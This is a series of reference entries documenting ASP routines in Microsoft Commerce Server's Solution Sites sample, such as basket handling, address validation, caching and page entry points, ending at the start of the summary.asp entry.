Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and initializes a Dictionary object with an entry for each pipeline configuration file (PCF) used in the site. It also establishes pipeline logging settings.

Definition

Function InitSitePipelines()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

CheckOut

GetDictionary

GetRootPath

Called By

Main (include\global_main_lib.asp)

Remarks

The returned Dictionary object contains an entry for each pipeline PCF file, stored using the following keys:

Advertising, Basket, Checkout, Discounts, Fragment, Product, ReceivePO, RecordEvent, Total


InsertBlankSpace - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a string containing space characters, where the number of space characters is equal to the number of items in the passed array.

Definition

Function InsertBlankSpace(
  byVal arrLines
)

Parameters

arrLines
An array in which the number of items in the array determines the number of space characters in the returned string.

Return Value

A string containing zero or more space characters, based on the number of items in the array specified by the arrLines parameter.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

None.


InsertHiddenProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub copies particular, hidden properties from the current user profile to the specified profile Recordset object. Currently, only the organization ID of the user can be copied.

Definition

Sub InsertHiddenProperty(
  byVal oProperty,
  byVal rsProfile
)

Defined in File

services\include\save_one_profile.asp

Routines Called

None.

Called By

bInsertProperty


InsertLineBreaks - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a string containing a concatenation of each of the strings in the passed array, separated by BR elements, and ending with a BR element. In other words, it concatenates the strings in the array, appending a <BR> tag to each string in the process.

Definition

Function InsertLineBreaks(
  byVal arrLines
)

Parameters

arrLines
An array of strings that are concatenated together and returned as a single string, with a <BR> tag appended to each string in the process.

Return Value

A string containing a concatenation of each string in the array specified by the arrLines parameter, with a <BR> tag appended to each string in the process.

Defined in File

include\html_lib.asp

Routines Called

BRTag

Called By

None.


InsertParagraphBreaks - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a string containing a concatenation of each of the strings in the passed array, where each source string is wrapped in a P element. In other words, it concatenates the strings in the array, prepending a <P> tag to the beginning of each source string and appending a </P> tag to the end of each source string.

Definition

Function InsertParagraphBreaks(
  byVal arrLines
)

Parameters

arrLines
An array of strings that are concatenated together and returned as a single string, where each source string in the array is wrapped in a P element in the process.

Return Value

A string containing a concatenation of each string in the array specified by the arrLines parameter, where each source string in the array is wrapped in a P element in the process.

Defined in File

include\html_lib.asp

Routines Called

PTag

Called By

None.


InvokeBizTalk - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub submits purchase orders to the appropriate vendors using BizTalk Server when BizTalk Server integration is enabled.

Definition

Sub InvokeBizTalk(
  byVal mscsOrderGrp
)

Defined in File

include\payment.asp

Routines Called

GetXMLForVendorItems

SubmitUsingBizTalk

Called By

SaveBasketAsOrder

Remarks

For more information about how this routine is used to enable integration with Biztalk Server, see About the BizTalk Server Integration Feature.


IsActiveDirectoryPresent - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether Active Directory is being used by the Profile Service, returning True if it is being used, and False otherwise.

Definition

Function IsActiveDirectoryPresent()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)

ProfileRefresh


IsBitValueSet - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether every bit in the iBitValue parameter is also set in the iValue parameter, returning True if so, and False otherwise.

Definition

Function IsBitValueSet(
  byVal iValue,
  byVal iBitValue
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

GetPaymentMethodsForSite

Remarks

Examples:

If iBitValue=5 (0x00000101) and iValue=7 (0x00000111), this function returns True.
If iBitValue=5 (0x00000101) and iValue=6 (0x00000110), this function returns False.


IsEntityInArray - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether the string specified by the sEntity parameter is equal to one of the strings in the array specified by the arrItems parameter, returning True if so, and False otherwise.

Definition

Function IsEntityInArray(
  byVal sEntity,
  byVal arrItems
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

JoinWebFarm


IsEntityInList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether the string specified by the sEntity parameter is equal to one of the strings in the SimpleList object specified by the list parameter, returning True if so, and False otherwise.

Definition

Function IsEntityInList(
  byVal sEntity,
  list
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

EnsureSupportForPaymentMethod

GetFieldsErrorDictionary

GetPaymentMethodsForUser

htmRenderVerifyWithForm

Main (dispatch.asp)

sLookUpPaymentMethod


IsEntityInSet - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether the string specified by the sEntity parameter is equal to one of the substrings in the comma-separated string specified by the sSet parameter, returning True if so, and False otherwise.

Definition

Function IsEntityInSet(
  byVal sEntity,
  byVal sSet
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

GetShownProductsDetails

IsFormLoginRequired


IsFormLoginRequired - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether login is required on the current page. It returns True if logging in is always required, or if logging in is required for a purchase and the current page is in the purchase page set. Otherwise, it returns False.

Definition

Function IsFormLoginRequired()

Defined in File

include\std_access_lib.asp

Routines Called

IsEntityInSet

Called By

EnsureAccess


IsFormSubmitted - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function is used to test whether the current request contains a query string or form post variable with the name "mode" that has a value that can be successfully converted to a number.

Definition

Function IsFormSubmitted()

Return Value

A Boolean, where True indicates that the current request contains a query string or form post variable with the name "mode", and for which the value can be successfully converted to a number; otherwise it returns False.

Defined in File

include\form_lib.asp

Routines Called

None.

Called By

InitializeCreditcardPage

Main (addrform.asp)

Main (po.asp)

PrepareLoginPage

PrepareNewUserPage

SetupAddressForm

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


IsNumberInRange - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether the number specified by the iNumber parameter is in the range specified by the iMin and iMax parameters (inclusive), returning True if so, and False otherwise.

Definition

Function IsNumberInRange(
  iNumber,
  iMin,
  iMax
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

GetProductQuantity


IsPersistentCookieAllowed - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether persistent cookies are enabled in the current user's browser, returning True if so, and False otherwise. A test cookie and page redirection are used to make the determination.

Definition

Function IsPersistentCookieAllowed()

Defined in File

include\std_access_lib.asp

Routines Called

AddURLArguments

SetTestCookie

Called By

EnsureAccess

Main (login\_guest.asp)


IsZipCodeValid - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether the basic format of the zip code specified by the sZipCode parameter is correct, returning True if so, and False otherwise. For additional information, see the Remarks.

Definition

Function IsZipCodeValid(
  sZipCode
)

Defined in File

include\addr_lib.asp

Routines Called

None.

Called By

iValidateSubmittedAddress

iValidateSubmittedAddressForAddressBook

Remarks

The following formats are considered valid:

Format, where "d" is a digit | Example
ddddd-dddd | 98052-0000
ddddddddd | 980520000
ddddd dddd | 98052 0000
ddddd- | 98052-
ddddd | 98052

You may add further validation logic to this function to ensure zip code entered is in existence or that it matches the state/province entered by the user.


Italic - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function surrounds the string specified by the s parameter with the tags <I> and </I> and then returns the resulting string.

Definition

Function Italic(
  byVal s
)

Parameters

s
A string that contains the text to be wrapped in an I element, and then returned.

Return Value

A string that contains the text passed in the s parameter, surrounded by <I> and </I> tags.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

None.


iValidateSubmittedAddress - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether an address supplied during a purchase is valid, returning zero (0) if so, and one (1) otherwise.

Definition

Function iValidateSubmittedAddress(
  listFlds,
  dictFldVals,
  dictFldErrs
)

Defined in File

addrform.asp

Routines Called

GetFieldsErrorDictionary

IsZipCodeValid

LookupRegion

Called By

Main (addrform.asp)

Remarks

Insert your specific address validation logic inside this function.

The default implementation supports basic validation for international addresses:

  • Ensures that all required fields contain data.
  • Ensures that the country/region field is a required field for countries/regions that have countries/regions defined.
  • Accepts country/region name or country/region code as input; validates them against the country/region table.
  • Expands country/region code to country/region name on subsequent renderings of address form.
  • Performs zip code validation for US addresses.

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


iValidateSubmittedAddressForAddressBook - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether an address supplied while working in the address book is valid, returning zero (0) if so, and one (1) otherwise.

Definition

Function iValidateSubmittedAddressForAddressBook(
  listFlds,
  dictFldVals,
  dictFldErrs,
  byVal sAction,
  byRef sAddrID,
  rsAddr
)

Defined in File

newaddr.asp

Routines Called

bIsAddressNameUnique

GetFieldsErrorDictionary

IsZipCodeValid

LookupRegion

Called By

SetupAddressForm

Remarks

Insert your specific address validation logic inside this function.

The default implementation supports basic validation for international addresses:

  • Ensures that all required fields contain data.
  • Ensures that the country/region field is a required field for countries/regions that have countries/regions defined.
  • Accepts country/region name or country/region code as input; validates them against the country/region table.
  • Expands country/region code to country/region name on subsequent renderings of address form.
  • Performs zip code validation for US addresses.

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


iValidateSubmittedRegistrationData - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks that the user name submitted on the registration page (login\newuser.asp) is unique, verifies that the submitted password is syntactically valid, and that the password matches the confirm password entry.

Definition

Function iValidateSubmittedRegistrationData(
  listFlds,
  dictFldVals,
  dictFldErrs,
  listFrmErrs
)

Parameters

listFlds
A SimpleList object containing the information about the form fields.
dictFldVals
A Dictionary object containing the form field values.
dictFldErrs
A Dictionary object that is initialized with field error messages by calling the function GetFieldsErrorDictionary.
listFrmErrs
A SimpleList object that is not used.

Return Value

A number indicating whether the submitted registration data is valid, where zero (0) indicates valid data and one (1) indicates data that is not valid.

Defined in File

login\newuser.asp

Routines Called

GetDictionary

GetFieldsErrorDictionary

rsGetProfile

Called By

PrepareNewUserPage

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


JoinWebFarm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub adds the current Web server to the Web farm, if the computer is not already recognized as being so. This routine will run in the case where a site was replicated using Microsoft Application Center 2000, or other cases where the site was not installed using Commerce Site Packager.

This routine updates the Commerce Server Administration database and Data Warehouse as necessary.

To use this routine, the accounts must have access to the Web Users role. This role is designed to support the automatic additions of Web servers, for example, in a Web farm scenario: when the Commerce Server application first starts on the new Web server (for example, a user connects to the Web server or gets load-balanced to it), and global.asa starts, the Web server is added automatically to the Administration database.

By default, Everyone is added to the Web Users role. You must change this as follows:

  1. Remove Everyone.
  2. Add the Anonymous account (IUSR_<computername> is the default).
  3. Add the Launch IIS Process account (IWAM_<computername> is the default).
  4. Add the accounts of other users who will be allowed to connect to the site.

For more information about how JoinWebFarm is used, see Adding Web Server without Site Packager. For security information about the Config COM+ application, see Important Security Notes.

Definition

Sub JoinWebFarm(
  byRef iWebServerCount
)

Defined in File

include\global_siteconfig_lib.asp

Routines Called

FormatOutput

GetComputerName

GetErrorSource

GetSiteConfigObject

IsEntityInArray

Called By

Main (include\global_main_lib.asp)


listCloneProfileSchema - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a SimpleList object that contains a copy of the profile schema associated with the page specified by the sPageName parameter.

Definition

Function listCloneProfileSchema(
  byVal sPageName
)

Defined in File

services\include\lib.asp

Routines Called

sGetThisPageProperty

Called By

arrPopulateProfileDetails

bInsertProfileDetails

bIsPropertyValueAdded

bProfileHasChanged

bSaveProfileDetails

listReConstructPropertiesSchema

PopulateProfileSearchCriteria

PrepareAddAction

PrepareCloseAction

PrepareCopyAction

PrepareEditAction

PrepareEditAllAction

PrepareInsertProfile

PrepareSaveAllAction

PrepareSaveChangesConfirmation

PrepareSaveProfiles

PrepareSelectedAction

rowRenderListHeading

rowsRenderAdvanceSearchOptionsForProfiles

rowsRenderSimpleSearchOptionsForProfiles

rsGetProfilesList

SaveAllSelectedProfiles

sConstructWHEREclause


listGetProfileSchema - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a SimpleList object of Dictionary objects that represent the schema specified by the parameters.

Definition

Function listGetProfileSchema (
  byVal oProfile,
  byVal oProfileDefsCatalog,
  byVal oSiteTermsProfile
)

Defined in File

include\global_profile_lib.asp

Routines Called

AddGroupAndPropertySchemas

Called By

dictGetProfileSchemaForAllProfileTypes


listGetShownProductsInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a SimpleList object of Dictionary objects, where each Dictionary object contains information about a single product in the catalog, category, and so on, specified by the parameters.

Definition

Function listGetShownProductsInfo(
  byVal sCatalogName,
  byVal sCategoryName,
  byVal sProductID,
  byVal nPageNumber
)

Defined in File

template\discount.asp

Routines Called

CopyProductToItem

GetAncestorCategories

GetDictionary

GetSimpleList

mscsGetCategoryObject

mscsGetProductList

Called By

oCachedDiscountProductInfo


listGetValidPropertiesForMultiEdit - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates, initializes, and returns a SimpleList object that contains those profile properties from the SimpleList object specified by the listProfileSchema parameter that are valid participants in the current multi-edit operation.

Definition

Function listGetValidPropertiesForMultiEdit(
  byVal listProfileSchema
)

Defined in File

services\include\lib.asp

Routines Called

bCheckIfThePropertyFeatureIsSupported

GetRequestString

iGetCurrentUserPropertyAccessClass

sGetUserAccessForThisProperty

Called By

PrepareSaveAllAction

PrepareSaveProfiles


listGetVariantPropertiesToShow - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates, initializes, and returns a SimpleList object that contains an entry for each property specified by the fldsProps parameter that is configured as displayable. The SimpleList object entries are strings containing the name of the corresponding property, and the built-in property TimeStamp is excluded regardless of its displayable setting.

Definition

Function listGetVariantPropertiesToShow(
  byVal fldsProps
)

Defined in File

product.asp

Routines Called

GetSimpleList

Called By

htmRenderVariantsList


listReConstructPropertiesSchema - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function reconstructs the profile schema to include the properties that have failed validation.

Definition

Function listReConstructPropertiesSchema(
  byVal listValidProperties
)

Defined in File

services\include\lib.asp

Routines Called

bCheckIfThePropertyFeatureIsSupported

dictGetpropertyFromList

GetRequestString

iGetCurrentUserPropertyAccessClass

listCloneProfileSchema

sGetUserAccessForThisProperty

Called By

PrepareSaveAllAction

PrepareSaveProfiles


LoadBasket - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves and returns the OrderGroup object associated with the current user, calling its LoadBasket method before returning.

Definition

Function LoadBasket(
  byVal sUserID
)

Defined in File

include\std_ordergrp_lib.asp

Routines Called

GetOrderGroup

Called By

CatchErrors (addrbook.asp)

CatchErrors (newaddr.asp)

FetchData (_setadrs.asp)

GetBasketDetails

InitializeBasketPage

InitializeCreditcardPage

InitializePO

InitializeSummaryPage

Main (_additem.asp)

Main (_delall.asp)

Main (_delitem.asp)

Main (_editqty.asp)

Main (_setship.asp)

Main (addrform.asp)

Main (dispatch.asp)

MoveBasketItems

PreparePickShipForm

PrepareShippingMethods

RecordClickToBasket


LookupCachedFragment - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function searches the LRUCache object specified by the sCacheName parameter for the fragment (a string) associated with name specified by the sCacheItemName parameter, returning the fragment if it is found, and Null otherwise.

Definition

Function LookupCachedFragment(
  byVal sCacheName,
  byVal sCacheItemName
)

Defined in File

include\std_cache_lib.asp

Routines Called

GetTicketInUrlArg

Called By

bFullTextResultsAreCached

bIsSearchDeptPageCached

bIsStepSearchPageCached

htmCachedProductList

htmCachedShippingMethods

htmRenderFillOutForm

htmRenderLoginSection

htmRenderMenu

Main (default.asp)

Main (product.asp)

RenderNavbar

Remarks

The source code includes sample debug code that will show if a fragment was cached.


LookupCachedObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function searches the LRUCache object specified by the sCacheName parameter for the object associated with name specified by the sCacheItemName parameter, returning the object if it is found, and Nothing otherwise.

Definition

Function LookupCachedObject(
  byVal sCacheName,
  byVal sCacheItemName
)

Defined in File

include\std_cache_lib.asp

Routines Called

None.

Called By

oCachedDiscountProductInfo


LookupRegion - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the country/region name associated with the passed parameters. The sRegion parameter might specify a country/region name, in which case that name is returned, or it might specify a country/region code, in which case the corresponding country/region name is returned. If the country/region name cannot be determined, Null is returned.

Definition

Function LookupRegion(
  byVal sRegion,
  sCountryCode
)

Defined in File

include\addr_lib.asp

Routines Called

None.

Called By

iValidateSubmittedAddress

iValidateSubmittedAddressForAddressBook


Main (_additem.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file _additem.asp, which adds an item to the user's basket.

Definition

Sub Main()

Defined in File

_additem.asp

Routines Called

Analysis_LogAddToBasket

ApplyVendorInfo

EnsureAccess

GenerateURL

GetCatalogForUser

GetProductQuantity

GetRequestString

LoadBasket

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub gets the catalog, loads the basket, adds the item to the appropriate order form, saves the basket, logs the AddToBasket action, and depending on configuration settings, redirects to either the product.asp or basket.asp page.


Main (_delall.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file _delall.asp, which deletes all items from the user's basket.

Definition

Sub Main()

Defined in File

_delall.asp

Routines Called

EnsureAccess

GenerateURL

LoadBasket

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub loads the basket, clears all items from the basket, saves the basket, and redirects to the basket.asp page.


Main (_delitem.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file _delitem.asp, which deletes an item from the user's basket.

Definition

Sub Main()

Defined in File

_delitem.asp

Routines Called

Analysis_LogRemoveFromBasket

EnsureAccess

GenerateURL

GetRequestString

LoadBasket

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub loads the basket, checks the Request object for the item index, removes the item, saves the basket, logs the removal, and redirects to the basket.asp page.


Main (_editqty.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file _editqty.asp, which changes the quantity of an item in the user's basket.

Definition

Sub Main()

Defined in File

_editqty.asp

Routines Called

EnsureAccess

GenerateURL

LoadBasket

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub loads the basket, gets the PRODUCTQTY_URL_KEY from the Request string, sets the current quantity or removes the item if the quantity is zero (0), saves the basket, and redirects to the basket page.


Main (_recvpo.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file _recvpo.asp, which receives a purchase order form in XML format, transforms the data into a Dictionary object, adds it to the OrderGroup object, and runs the OPP for Receiving Purchase Orders.

Definition

Sub Main()

Defined in File

_recvpo.asp

Routines Called

GetOrderGroup

ParseRequestForm

RunOrderPipeline

Called By

This routine is called by code outside of any routine (sub or function) in the file _recvpo.asp.

Remarks

For more information about how this routine is used to enable integration with Biztalk Server, see About the BizTalk Server Integration Feature.


Main (_setadrs.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file _setadrs.asp, which sets a shipping or billing address in the user's basket.

Definition

Sub Main()

Defined in File

_setadrs.asp

Routines Called

CatchErrors (_setadrs.asp)

EnsureAuthAccess

FetchData

GenerateURL

GetAddressType

GetRequestString

RsToDict

SetKeyOnOrderForms

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (_setship.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file _setship.asp, which sets shipping method information in the OrderGroup object.

Definition

Sub Main()

Defined in File

_setship.asp

Routines Called

CatchErrors (_setship.asp)

EnsureAccess

GenerateURL

GetRequestString

GetShippingMethodNameFromID

LoadBasket

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub loads the basket, sets shipping information in the OrderGroup object, saves the basket, and redirects to the order summary.asp page.


Main (addrbook.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file addrbook.asp, which retrieves and displays the address book for editing.

Definition

Sub Main()

Defined in File

addrbook.asp

Routines Called

CatchErrors (addrbook.asp)

EnsureAuthAccess

FetchData

htmRenderAddressBookPage

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (addrform.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file addrform.asp, which displays a page for editing the billing or shipping address.

Definition

Sub Main()

Defined in File

addrform.asp

Routines Called

CatchErrors (addrform.asp)

EnsureAccess

GenerateURL

GetAddressType

GetDefaultValuesForAddressFormFields

GetSubmittedFieldValues

htmRenderFillOutForm

IsFormSubmitted

iValidateSubmittedAddress

LoadBasket

RenderText

SaveAddressToOrderGroup

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (basket.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file basket.asp, which displays the user's basket.

Definition

Sub Main()

Defined in File

basket.asp

Routines Called

AddDiscountMessages (std_ordergrp_lib.asp)

CheckBasket

EnsureAccess

InitializeBasketPage

RenderBasketPage

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub runs the basket pipeline, adds discount messages to each line item, saves the basket, and prepares the HTML that will render the basket.asp page.

This sub will also display predictions, where available.


Main (category.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file category.asp, which displays the product list and sub-categories of the specified catalog, category, and page number.

Definition

Sub Main()

Defined in File

category.asp

Routines Called

EnsureAccess

EnsureUserHasRightsToCatalog

FetchCategoryData

GenerateURL

htmCachedProductList

htmCategoryHTML

mscsGetCategoryObject

mscsGetProductList

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (confirm.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file confirm.asp, which displays the confirmation page for a basket order.

Definition

Sub Main()

Defined in File

confirm.asp

Routines Called

EnsureAccess

htmRenderConfirmationPage

InitializeConfirmationPage

TerminateConfirmationPage

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (crdtcard.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file crdtcard.asp, which displays an input screen for credit card information when checking out.

Definition

Sub Main()

Defined in File

crdtcard.asp

Routines Called

EnsureAccess

htmRenderCreditCardPage

InitializeCreditcardPage

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (default.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file default.asp, which prepares the HTML from which the home page is rendered.

Definition

Sub Main()

Defined in File

default.asp

Routines Called

EnsureAccess

htmRenderDefaultPage

LookupCachedFragment

mscsUserCatalogsetID

PrepareDefaultPage

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (dispatch.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file dispatch.asp, which dispatches the user to the payment method page (crdtcard.asp or po.asp) when checking out.

Definition

Sub Main()

Defined in File

dispatch.asp

Routines Called

EnsureAccess

GenerateURL

GetPaymentMethodsForUser

GetPaymentPageFromPaymentMethod

GetRequestString

IsEntityInList

LoadBasket

sLookUpPaymentMethod

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (newaddr.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file newaddr.asp, from which the user can add, edit, or delete addressbook addresses.

Definition

Sub Main()

Defined in File

newaddr.asp

Routines Called

EnsureAuthAccess

htmRenderAddressForm

SetupAddressForm

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (opt-out.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file opt-out.asp, which adds the user to the opt-out list of a direct mail campaign.

Definition

Sub Main()

Defined in File

opt-out.asp

Routines Called

ErrorOut

OptOut

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

If a campaign item is not specified, then the user is added to the global opt-out list for the site.


Main (pickship.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file pickship.asp, from which displays a page for selecting the shipping method.

Definition

Sub Main()

Defined in File

pickship.asp

Routines Called

CacheFragment

EnsureAccess

htmCachedShippingMethods

htmRenderPickshipForm

htmRenderShippingMethods

PreparePickShipForm

PrepareShippingMethods

rsGetShippingMethods

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

The source code shows two ways of showing the shipping options: one calculates shipping cost previews, the other does not (the latter exhibits better performance).


Main (po.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file po.asp, from which displays an input screen for purchase order information when the user is checking out.

Definition

Sub Main()

Defined in File

po.asp

Routines Called

EnsureAuthAccess

GetDefaultValuesForPurchaseOrderFields

GetListItemIndex

GetSubmittedFieldValues

htmRenderPaymentOptionsPage

InitializePO

IsFormSubmitted

RedirectToPOConfirmation

TerminatePO

ValidateSubmittedPurchaseOrderData

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub validates submitted purchase order data, and constructs the HTML that will render the payment options.


Main (product.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file product.asp, which displays a page of product details.

Definition

Sub Main()

Defined in File

product.asp

Routines Called

CacheFragment

EnsureAccess

EnsureUserHasRightsToCatalog

GenerateURL

GetRequestString

GetShownProductsDetails

htmRenderBuiltInProperties

htmRenderUserDefinedProductProperties

htmRenderVariantsList

LookupCachedFragment

RenderDiscounts

RenderForm

RenderHiddenField

RenderSubmitButton

RenderText

RenderTextBox

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub attempts to use a cached catalog fragment. If the fragment is not cached, it is constructed and cached for future use. This sub also generates the AddToBasket form, and populates the discount banner slot.


Main (redir.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file redir.asp, which handles click-throughs and other events on marketing campaign items, invoking a pipeline that records the events in memory and to the Internet Information Services (IIS) log file.

Definition

Sub Main()

Defined in File

redir.asp

Routines Called

RecordClickToBasket

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


Main (search.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file search.asp, which performs a free text search and displays the result.

Definition

Sub Main()

Defined in File

search.asp

Routines Called

bFullTextResultsAreCached

EnsureAccess

GetRequestString

htmRenderFullTextSearchResults

rsFreeTextSearch

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub gets the search phrase, checks the cache for the results, runs the query, and displays the results.


Main (srchdept.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file srchdept.asp, which displays a list of searchable categories from a catalog.

Definition

Sub Main()

Defined in File

srchdept.asp

Routines Called

arrSearchDept

bIsSearchDeptPageCached

CacheFragment

EnsureAccess

htmRenderSearchDeptPageContent

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub checks whether the page has already been generated and is cached, generates the HTML that will render a list of catalog names and category names, and caches the page.


Main (stepsrch.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as the entry point into the file stepsrch.asp, which performs a product specification search and displays the results.

Definition

Sub Main()

Defined in File

stepsrch.asp

Routines Called

bClickedViewOrSearchButton

bIsStepSearchPageCached

CacheFragment

EnsureAccess

GenerateURL

GetCatalogForUser

GetRequestString

htmRenderStepSearchPageContent

PrepareSpecificationSearch

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.

Remarks

This sub gets the catalog name and instantiates the catalog object, gets the category name, checks for cached pages, prepares for and performs the search, and prepares the HTML that will render the results or the search options.


Main (summary.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

